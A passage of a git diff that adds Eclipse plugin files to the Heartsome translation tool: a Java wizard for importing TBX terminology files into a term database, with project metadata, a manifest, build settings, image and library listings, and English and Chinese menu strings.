public TermDbManagerImportWizardDialog(Shell parentShell, IWizard newWizard) { + super(parentShell, newWizard); + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + btnSetting = createButton(parent, -1, Messages.getString("wizard.TermDbManagerImportWizardTbxPage.settingBtn"), + true); + super.createButtonsForButtonBar(parent); + btnSetting.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PreferenceUtil.openPreferenceDialog(PlatformUI.getWorkbench().getActiveWorkbenchWindow(), + TBDatabasePage.ID); + } + }); + } + + @Override + public void updateButtons() { + super.updateButtons(); + btnSetting.setVisible(getCurrentPage() instanceof NewTermDbImportPage + || getCurrentPage() instanceof TbxImportWizardTbxPage + || getCurrentPage() instanceof TermDbManagerImportWizardTbxPage); + } +} diff --git a/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/TermDbManagerImportWizardTbxPage.java b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/TermDbManagerImportWizardTbxPage.java new file mode 100644 index 0000000..69f6f69 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tb/src/net/heartsome/cat/database/ui/tb/wizard/TermDbManagerImportWizardTbxPage.java @@ -0,0 +1,295 @@ +/** + * ImportWizardTbxPage.java + * + * Version information : + * + * Date:Oct 20, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tb.wizard; + +import java.io.File; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.core.exception.ImportException; +import net.heartsome.cat.common.ui.HSDropDownButton; +import net.heartsome.cat.database.bean.TBPreferenceConstants; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.tb.Activator; +import net.heartsome.cat.database.ui.tb.Utils; +import net.heartsome.cat.database.ui.tb.dialog.TermDbManagerDialog; +import net.heartsome.cat.database.ui.tb.resource.Messages; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.preference.IPreferenceStore; +import org.eclipse.jface.window.Window; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.ModifyEvent; +import org.eclipse.swt.events.ModifyListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class TermDbManagerImportWizardTbxPage extends WizardPage { + Logger logger = LoggerFactory.getLogger(TermDbManagerImportWizardTbxPage.class); + private Text tbxFileText; + private DatabaseModelBean dbModel; + private Text text; + + /** + * Create the wizard. + */ + public TermDbManagerImportWizardTbxPage() { + super("wizardPage"); + setTitle(Messages.getString("wizard.TermDbManagerImportWizardTbxPage.title")); + setDescription(Messages.getString("wizard.TermDbManagerImportWizardTbxPage.desc")); + setImageDescriptor(Activator.getImageDescriptor("images/dialog/import-tbx-logo.png")); + } + + /** + * Create contents of the wizard. + * @param parent + */ + public void createControl(Composite parent) { + Composite container = new Composite(parent, SWT.NULL); + container.setLayout(new GridLayout(3, false)); + + Label lblTmx = new Label(container, SWT.NONE); + lblTmx.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + lblTmx.setText(Messages.getString("wizard.TermDbManagerImportWizardTbxPage.lblTmx")); + + tbxFileText = new Text(container, SWT.BORDER | SWT.READ_ONLY); + tbxFileText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + tbxFileText.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + validator(); + } + }); + + Button tmxFileBorwserBtn = new Button(container, SWT.NONE); + tmxFileBorwserBtn.setText(Messages.getString("wizard.TermDbManagerImportWizardTbxPage.tmxFileBorwserBtn")); + tmxFileBorwserBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + FileDialog dlg = new FileDialog(getShell()); + String[] filterExt = { "*.tbx" }; + dlg.setFilterExtensions(filterExt); + String path = dlg.open(); + // String path = NativeDialogFactory.fileSelectionDialog(getShell(), + // Messages.getString("wizard.TermDbManagerImportWizardTbxPage.openFile"), SWT.OPEN); + if (path != null) { + tbxFileText.setText(path); + } + } + }); + + Label lblNewLabel = new Label(container, SWT.NONE); + lblNewLabel.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + lblNewLabel.setText(Messages.getString("wizard.TermDbManagerImportWizardTbxPage.lblNewLabel")); + + text = new Text(container, SWT.BORDER | SWT.READ_ONLY); + text.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + text.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + validator(); + } + }); + + HSDropDownButton addBtn = new HSDropDownButton(container, SWT.NONE); + addBtn.setText(Messages.getString("wizard.TermDbManagerImportWizardTbxPage.button")); + Menu addMenu = addBtn.getMenu(); + MenuItem item = new MenuItem(addMenu, SWT.PUSH); + item.setText(Messages.getString("tb.dialog.addTb.DropDownButton.AddFileTb")); + item.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent e) { + FileDialog fileDialg = new FileDialog(getShell()); + fileDialg.setFilterExtensions(new String[] { "*.hstb", "*.*" }); + String result = fileDialg.open(); + if (result == null) { + return; + } + File f = new File(result); + if (!f.exists()) { + return; + } + Map r = null; + try { + r = Utils.convertFile2TbModel(f, false); + } catch (Exception e1) { + MessageDialog.openError(getShell(), Messages.getString("tb.dialog.addFileTb.errorTitle"), + e1.getMessage()); + } + if (r == null) { + return; + } + Iterator it = r.keySet().iterator(); + if (it.hasNext()) { + dbModel = it.next(); + text.setText(f.getAbsolutePath()); + } + } + }); + MenuItem serverItem = new MenuItem(addMenu, SWT.PUSH); + serverItem.setText(Messages.getString("tb.dialog.addTb.DropDownButton.AddServerTb")); + serverItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + TermDbManagerDialog dialog = new TermDbManagerDialog(getShell()); + dialog.setDialogUseFor(TermDbManagerDialog.TYPE_DBSELECTED); + if (dialog.open() == Window.OK) { + Iterator it = dialog.getHasSelectedDatabase().keySet().iterator(); + List list = new ArrayList(); + while (it.hasNext()) { + list.add(it.next()); + } + if (list.size() > 0) { + dbModel = list.get(0); // åªå–第一个. + text.setText(dbModel.getDbName()); + } + } + } + }); + setControl(container); + } + + public void executeImport(String tbxFile, IProgressMonitor monitor) throws InterruptedException { + if (monitor == null) { + monitor = new NullProgressMonitor(); + } + monitor.beginTask("", 100); + monitor.setTaskName(Messages.getString("wizard.TermDbManagerImportWizardTbxPage.task1")); + int tbxResult = -10; + + String message = ""; + try { + tbxResult = DatabaseService.importTbxWithFile(tbxFile, monitor, dbModel.toDbMetaData(), + getTbxImportStrategy()); + } catch (ImportException e) { + message = e.getMessage(); + } + if (!message.equals("")) { + final String _message = message; + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + throw new InterruptedException(); + } + + StringBuffer resultMessage = new StringBuffer(); + if (!resultMessage.toString().equals("")) { + final String _message = resultMessage.toString(); + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + throw new InterruptedException(); + } + + if (tbxResult != DatabaseService.SUCCESS) { + if (tbxResult == DatabaseService.FAILURE_1) { + resultMessage.append(Messages.getString("wizard.TermDbManagerImportWizardTbxPage.msg1")); + } else if (tbxResult == DatabaseService.FAILURE_2) { + resultMessage.append(Messages.getString("wizard.TermDbManagerImportWizardTbxPage.msg2")); + } else if (tbxResult == DatabaseService.FAILURE_3) { + resultMessage.append(Messages.getString("wizard.TermDbManagerImportWizardTbxPage.msg3")); + } else if (tbxResult == DatabaseService.FAILURE_4) { + resultMessage.append(Messages.getString("wizard.TermDbManagerImportWizardTbxPage.msg4")); + } else if (tbxResult == DatabaseService.FAILURE) { + resultMessage.append(Messages.getString("wizard.TermDbManagerImportWizardTbxPage.msg5")); + } else if (tbxResult == DatabaseService.CANCEL) { + resultMessage.append(Messages.getString("wizard.TermDbManagerImportWizardTbxPage.msg6")); + } + + if (!resultMessage.toString().equals("")) { + final String _message = resultMessage.toString(); + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(_message); + } + }); + } + throw new InterruptedException(); + } else { + Display.getDefault().asyncExec(new Runnable() { + public void run() { + setErrorMessage(null); + setMessage(Messages.getString("wizard.TermDbManagerImportWizardTbxPage.msg7")); + } + }); + + } + monitor.done(); + } + + /** + * 输入验è¯å™¨ ; + */ + private void validator() { + setErrorMessage(null); + setMessage(null); + String tmxFile = getTBXFile(); + if (tmxFile == null) { + setErrorMessage(Messages.getString("wizard.TermDbManagerImportWizardTbxPage.msg8")); + setPageComplete(false); + } else { + setErrorMessage(null); + setPageComplete(true); + } + + if (this.dbModel == null) { + setErrorMessage(Messages.getString("wizard.TermDbManagerImportWizardTbxPage.msg9")); + setPageComplete(false); + } else { + setErrorMessage(null); + setPageComplete(true); + } + } + + /** + * 从首选项中读å–导入策略 + * @return ; + */ + public int getTbxImportStrategy() { + IPreferenceStore ps = Activator.getDefault().getPreferenceStore(); + return ps.getInt(TBPreferenceConstants.TB_UPDATE); + } + + public String getTBXFile() { + String file = tbxFileText.getText().trim(); + if (file == null || file.length() == 0) { + return null; + } + return file; + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/.classpath b/database/net.heartsome.cat.database.ui.tm/.classpath new file mode 100644 index 0000000..febcb77 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/.classpath @@ -0,0 +1,10 @@ + + + + + + + + + + diff --git a/database/net.heartsome.cat.database.ui.tm/.project b/database/net.heartsome.cat.database.ui.tm/.project new file mode 100644 index 0000000..6760bbe --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.database.ui.tm + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/database/net.heartsome.cat.database.ui.tm/.settings/org.eclipse.jdt.core.prefs b/database/net.heartsome.cat.database.ui.tm/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/database/net.heartsome.cat.database.ui.tm/META-INF/MANIFEST.MF b/database/net.heartsome.cat.database.ui.tm/META-INF/MANIFEST.MF new file mode 100644 index 0000000..9242a99 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/META-INF/MANIFEST.MF @@ -0,0 +1,48 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Database UI TM +Bundle-SymbolicName: net.heartsome.cat.database.ui.tm;singleton:=true +Bundle-Version: 8.0.3.R8b_v20130502 +Bundle-Activator: net.heartsome.cat.database.ui.tm.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + net.heartsome.cat.database;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0", + org.eclipse.core.databinding;bundle-version="1.4.0", + org.eclipse.core.databinding.beans;bundle-version="1.2.100", + org.eclipse.core.databinding.property;bundle-version="1.4.0", + org.eclipse.jface.databinding;bundle-version="1.5.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + org.eclipse.core.resources;bundle-version="3.7.100", + org.eclipse.ui.ide;bundle-version="3.7.0", + de.jaret.util.ui.table;bundle-version="0.85.0", + org.eclipse.ui.forms;bundle-version="3.5.100", + net.heartsome.xml;bundle-version="1.0.0", + net.heartsome.cat.ts.help;bundle-version="1.0.0", + org.eclipse.core.expressions;bundle-version="3.4.300" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Export-Package: net.heartsome.cat.database.ui.tm +Import-Package: de.jaret.util.misc, + de.jaret.util.swt, + net.heartsome.cat.common.ui, + net.heartsome.cat.common.ui.dialog, + net.heartsome.cat.common.ui.utils, + net.heartsome.cat.common.ui.wizard, + net.heartsome.cat.database.ui.bean, + net.heartsome.cat.database.ui.core, + net.heartsome.cat.database.ui.dialog, + net.heartsome.cat.ts.core.file, + net.heartsome.cat.ts.ui.composite, + net.heartsome.cat.ts.ui.editors, + net.heartsome.cat.ts.ui.extensionpoint, + net.heartsome.cat.ts.ui.jaret.renderer, + net.heartsome.cat.ts.ui.preferencepage, + net.heartsome.cat.ts.ui.util, + net.heartsome.cat.ts.util +Bundle-Localization: plugin +Bundle-ClassPath: ., + lib/datechooser-1.01.jar, + lib/jarettable-0.85.jar, + lib/jaretutil-0.32.jar +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/database/net.heartsome.cat.database.ui.tm/build.properties b/database/net.heartsome.cat.database.ui.tm/build.properties new file mode 100644 index 0000000..00e34f4 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/build.properties @@ -0,0 +1,14 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + plugin_en.properties,\ + plugin.properties,\ + plugin_zh.properties,\ + images/,\ + lib/datechooser-1.01.jar,\ + lib/jarettable-0.85.jar,\ + lib/jaretutil-0.32.jar +source.. = src/ diff --git a/database/net.heartsome.cat.database.ui.tm/images/database/database-manage.png b/database/net.heartsome.cat.database.ui.tm/images/database/database-manage.png new file mode 100644 index 0000000..84b36b1 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/database/database-manage.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/internaldb.png b/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/internaldb.png new file mode 100644 index 0000000..7c1a1f6 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/internaldb.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/ip.png b/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/ip.png new file mode 100644 index 0000000..42ae4a0 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/ip.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/mysql.png b/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/mysql.png new file mode 100644 index 0000000..a7a8319 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/mysql.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/oracle.png b/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/oracle.png new file mode 100644 index 0000000..1797efe Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/oracle.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/postgresql.png b/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/postgresql.png new file mode 100644 index 0000000..4b72d2f Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/postgresql.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/sqlite.png b/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/sqlite.png new file mode 100644 index 0000000..bd87be5 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/sqlite.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/sqlserver.png b/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/sqlserver.png new file mode 100644 index 0000000..963a5ae Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/database/db-manage/sqlserver.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/database/export-tmx.png b/database/net.heartsome.cat.database.ui.tm/images/database/export-tmx.png new file mode 100644 index 0000000..299ac0f Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/database/export-tmx.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/database/import-tmx.png b/database/net.heartsome.cat.database.ui.tm/images/database/import-tmx.png new file mode 100644 index 0000000..cc9675c Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/database/import-tmx.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/database/new-project/checked.gif b/database/net.heartsome.cat.database.ui.tm/images/database/new-project/checked.gif new file mode 100644 index 0000000..e556e7d Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/database/new-project/checked.gif differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/database/new-project/unchecked.gif b/database/net.heartsome.cat.database.ui.tm/images/database/new-project/unchecked.gif new file mode 100644 index 0000000..342fa9d Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/database/new-project/unchecked.gif differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/dialog/change-lang.png b/database/net.heartsome.cat.database.ui.tm/images/dialog/change-lang.png new file mode 100644 index 0000000..38ea3ad Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/dialog/change-lang.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/dialog/error.png b/database/net.heartsome.cat.database.ui.tm/images/dialog/error.png new file mode 100644 index 0000000..d20d634 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/dialog/error.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/dialog/first-page.png b/database/net.heartsome.cat.database.ui.tm/images/dialog/first-page.png new file mode 100644 index 0000000..de8eb2e Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/dialog/first-page.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/dialog/import-tmx-logo.png b/database/net.heartsome.cat.database.ui.tm/images/dialog/import-tmx-logo.png new file mode 100644 index 0000000..7d6a4ea Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/dialog/import-tmx-logo.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/dialog/last-page.png b/database/net.heartsome.cat.database.ui.tm/images/dialog/last-page.png new file mode 100644 index 0000000..504b4e7 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/dialog/last-page.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/dialog/new-tmdb-logo.png b/database/net.heartsome.cat.database.ui.tm/images/dialog/new-tmdb-logo.png new file mode 100644 index 0000000..5cf6033 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/dialog/new-tmdb-logo.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/dialog/next-page.png b/database/net.heartsome.cat.database.ui.tm/images/dialog/next-page.png new file mode 100644 index 0000000..7b49c27 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/dialog/next-page.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/dialog/previous-page.png b/database/net.heartsome.cat.database.ui.tm/images/dialog/previous-page.png new file mode 100644 index 0000000..ff5ab15 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/dialog/previous-page.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/dialog/true.gif b/database/net.heartsome.cat.database.ui.tm/images/dialog/true.gif new file mode 100644 index 0000000..b492a36 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/dialog/true.gif differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/dialog/update-tm-logo.png b/database/net.heartsome.cat.database.ui.tm/images/dialog/update-tm-logo.png new file mode 100644 index 0000000..c377149 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/dialog/update-tm-logo.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/new_tm.png b/database/net.heartsome.cat.database.ui.tm/images/new_tm.png new file mode 100644 index 0000000..8f441a9 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/new_tm.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/preference/tm/tm-db.png b/database/net.heartsome.cat.database.ui.tm/images/preference/tm/tm-db.png new file mode 100644 index 0000000..3b82688 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/preference/tm/tm-db.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/preference/tm/tm_database_32.png b/database/net.heartsome.cat.database.ui.tm/images/preference/tm/tm_database_32.png new file mode 100644 index 0000000..f7e4804 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/preference/tm/tm_database_32.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/preference/tm/tm_update_32.png b/database/net.heartsome.cat.database.ui.tm/images/preference/tm/tm_update_32.png new file mode 100644 index 0000000..2ad6360 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/preference/tm/tm_update_32.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/preference/tm/trans_display_oder_32.png b/database/net.heartsome.cat.database.ui.tm/images/preference/tm/trans_display_oder_32.png new file mode 100644 index 0000000..8332a23 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/preference/tm/trans_display_oder_32.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/tool/tm-find.png b/database/net.heartsome.cat.database.ui.tm/images/tool/tm-find.png new file mode 100644 index 0000000..2f1ba23 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/tool/tm-find.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/translate/search tm.png b/database/net.heartsome.cat.database.ui.tm/images/translate/search tm.png new file mode 100644 index 0000000..def00b1 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/translate/search tm.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/images/updateTM.png b/database/net.heartsome.cat.database.ui.tm/images/updateTM.png new file mode 100644 index 0000000..e1d3fba Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/images/updateTM.png differ diff --git a/database/net.heartsome.cat.database.ui.tm/lib/datechooser-1.01.jar b/database/net.heartsome.cat.database.ui.tm/lib/datechooser-1.01.jar new file mode 100644 index 0000000..21d634b Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/lib/datechooser-1.01.jar differ diff --git a/database/net.heartsome.cat.database.ui.tm/lib/jarettable-0.85.jar b/database/net.heartsome.cat.database.ui.tm/lib/jarettable-0.85.jar new file mode 100644 index 0000000..ed2897b Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/lib/jarettable-0.85.jar differ diff --git a/database/net.heartsome.cat.database.ui.tm/lib/jaretutil-0.32.jar b/database/net.heartsome.cat.database.ui.tm/lib/jaretutil-0.32.jar new file mode 100644 index 0000000..27e3089 Binary files /dev/null and b/database/net.heartsome.cat.database.ui.tm/lib/jaretutil-0.32.jar differ diff --git a/database/net.heartsome.cat.database.ui.tm/plugin.properties b/database/net.heartsome.cat.database.ui.tm/plugin.properties new file mode 100644 index 0000000..bdd7b75 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/plugin.properties @@ -0,0 +1,21 @@ +newWizard.tm = \u8bb0\u5fc6\u5e93... +newWizard.tm.description = \u65b0\u5efa\u4e00\u4e2a\u8bb0\u5fc6\u5e93\uff0c\u7528\u4ee5\u4fdd\u5b58\u9879\u76ee\u7684\u5df2\u7ffb\u8bd1\u6587\u672c\u6bb5\u3002 +command.newTM = \u8bb0\u5fc6\u5e93 +toolbar.newTM = \u8bb0\u5fc6\u5e93 + +menu.translation.tmSearch = \u76f8\u5173\u641c\u7d22... +toolBar.tmSearch = \u76f8\u5173\u641c\u7d22 +command.tmSearch = \u76f8\u5173\u641c\u7d22 + +menu.project.updateTM = \u66f4\u65b0\u8bb0\u5fc6\u5e93... +toolBar.updateTM = \u66f4\u65b0\u8bb0\u5fc6\u5e93... +command.updateTM = \u66f4\u65b0\u8bb0\u5fc6\u5e93 + +menu.database.tmDbManage = \u8bb0\u5fc6\u5e93\u7ba1\u7406... +menu.database.importTmx = \u5bfc\u5165 TMX... +menu.database.exportTMX = \u5bfc\u51fa TMX... +command.tmDbManage = \u8bb0\u5fc6\u5e93\u7ba1\u7406 +command.importTmx = \u5bfc\u5165 TMX +command.exportTMX = \u5bfc\u51fa TMX + +preferencePages.tm = \u8bb0\u5fc6\u5e93 \ No newline at end of file diff --git a/database/net.heartsome.cat.database.ui.tm/plugin.xml b/database/net.heartsome.cat.database.ui.tm/plugin.xml new file mode 100644 index 0000000..21002e7 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/plugin.xml @@ -0,0 +1,285 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + %newWizard.tm.description + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/database/net.heartsome.cat.database.ui.tm/plugin_en.properties b/database/net.heartsome.cat.database.ui.tm/plugin_en.properties new file mode 100644 index 0000000..e1fd61f --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/plugin_en.properties @@ -0,0 +1,21 @@ +newWizard.tm = Translation Memory... +newWizard.tm.description = Create a new translation memory to save the translated segments in the project. +command.newTM = Translation Memory +toolbar.newTM = Translation Memory + +menu.translation.tmSearch = Concordance... +toolBar.tmSearch = Concordance +command.tmSearch = Concordance + +menu.project.updateTM = Update Translation Memory... +toolBar.updateTM = Update Translation Memory... +command.updateTM = Update Translation Memory + +menu.database.tmDbManage = Translation Memory Management... +menu.database.importTmx = Import TMX... +menu.database.exportTMX = Export TMX... +command.tmDbManage = Translation Memory Management +command.importTmx = Import TMX +command.exportTMX = Export TMX + +preferencePages.tm = Translation Memory diff --git a/database/net.heartsome.cat.database.ui.tm/plugin_zh.properties b/database/net.heartsome.cat.database.ui.tm/plugin_zh.properties new file mode 100644 index 0000000..bdd7b75 --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/plugin_zh.properties @@ -0,0 +1,21 @@ +newWizard.tm = \u8bb0\u5fc6\u5e93... +newWizard.tm.description = \u65b0\u5efa\u4e00\u4e2a\u8bb0\u5fc6\u5e93\uff0c\u7528\u4ee5\u4fdd\u5b58\u9879\u76ee\u7684\u5df2\u7ffb\u8bd1\u6587\u672c\u6bb5\u3002 +command.newTM = \u8bb0\u5fc6\u5e93 +toolbar.newTM = \u8bb0\u5fc6\u5e93 + +menu.translation.tmSearch = \u76f8\u5173\u641c\u7d22... +toolBar.tmSearch = \u76f8\u5173\u641c\u7d22 +command.tmSearch = \u76f8\u5173\u641c\u7d22 + +menu.project.updateTM = \u66f4\u65b0\u8bb0\u5fc6\u5e93... +toolBar.updateTM = \u66f4\u65b0\u8bb0\u5fc6\u5e93... +command.updateTM = \u66f4\u65b0\u8bb0\u5fc6\u5e93 + +menu.database.tmDbManage = \u8bb0\u5fc6\u5e93\u7ba1\u7406... +menu.database.importTmx = \u5bfc\u5165 TMX... +menu.database.exportTMX = \u5bfc\u51fa TMX... +command.tmDbManage = \u8bb0\u5fc6\u5e93\u7ba1\u7406 +command.importTmx = \u5bfc\u5165 TMX +command.exportTMX = \u5bfc\u51fa TMX + +preferencePages.tm = \u8bb0\u5fc6\u5e93 \ No newline at end of file diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/Activator.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/Activator.java new file mode 100644 index 0000000..2c7ee7f --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/Activator.java @@ -0,0 +1,62 @@ +package net.heartsome.cat.database.ui.tm; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.database.ui.tm"; //$NON-NLS-1$ + + // The shared instance + private static Activator 